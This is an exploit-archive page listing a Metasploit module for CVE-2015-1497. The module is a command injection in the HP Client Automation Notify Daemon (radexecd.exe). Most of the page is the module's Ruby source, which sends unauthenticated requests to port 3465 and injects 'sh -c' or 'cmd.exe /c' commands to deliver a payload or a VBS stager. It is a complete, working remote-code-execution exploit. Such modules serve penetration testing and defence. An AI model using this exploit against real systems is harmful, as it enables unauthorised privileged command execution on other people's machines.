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HP Client Automation Command Injection

HP Client Automation Command Injection
Posted Feb 24, 2015
Authored by juan vazquez, Ben Turner | Site metasploit.com

This Metasploit module exploits a command injection vulnerability on HP Client Automation, distributed actually as Persistent Systems Client Automation. The vulnerability exists in the Notify Daemon (radexecd.exe), which doesn't authenticate execution requests by default neither. This Metasploit module has been tested successfully on HP Client Automation 9.00 over Windows 2003 SP2 and CentOS 5.

tags | exploit
systems | linux, windows, centos
advisories | CVE-2015-1497
MD5 | e1cd8a6dcb602d727fa7f4b87b28896f

HP Client Automation Command Injection

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'HP Client Automation Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability on HP Client Automation, distributed
actually as Persistent Systems Client Automation. The vulnerability exists in the Notify
Daemon (radexecd.exe), which doesn't authenticate execution requests by default neither.
This module has been tested successfully on HP Client Automation 9.00 over Windows 2003 SP2
and CentOS 5.
},
'Author' =>
[
'Ben Turner', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2015-1497'],
['ZDI', '15-038'],
['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features']
],
'Privileged' => true,
'Platform' => %w{ unix win },
'DefaultOptions' =>
{
'WfsDelay' => 10
},
'Payload' => {'DisableNops' => true},
'Targets' =>
[
[ 'HP Client Automation 9.0.0 / Linux',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 466,
'EncoderType' => Msf::Encoder::Type::CmdUnixPerl,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'openssl telnet generic gawk'
},
'BadChars' => "\x27"
}
}
],
[ 'HP Client Automation 9.0.0 / Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 02 2014'))

register_options(
[
Opt::RPORT(3465)
], self.class)

deregister_options('CMDSTAGER::FLAVOR')
deregister_options('CMDSTAGER::DECODER')
end

def check
connect
sock.put("\x00") # port
sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
sock.put("hide\x00") # command
res = sock.get_once
disconnect

if res && res.unpack('C')[0] == 0
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end

def exploit
case target['Platform']
when 'win'
print_status('Exploiting Windows target...')
execute_cmdstager({:flavor => :vbs, :linemax => 290})
when 'unix'
print_status('Exploiting Linux target...')
exploit_unix
else
fail_with(Failure::NoTarget, 'Invalid target')
end
end

def exploit_unix
connect
sock.put("\x00") # port
sock.put("0\x00") # user ID
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected
disconnect
end

def execute_command(cmd, opts = {})
connect
sock.put("\x00") # port
sock.put("S-1-5-18\x00") # user ID
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected
res = sock.get_once
disconnect
unless res && res.unpack('C')[0] == 0
fail_with(Failure::Unknown, "Something failed executing the stager...")
end
end
end
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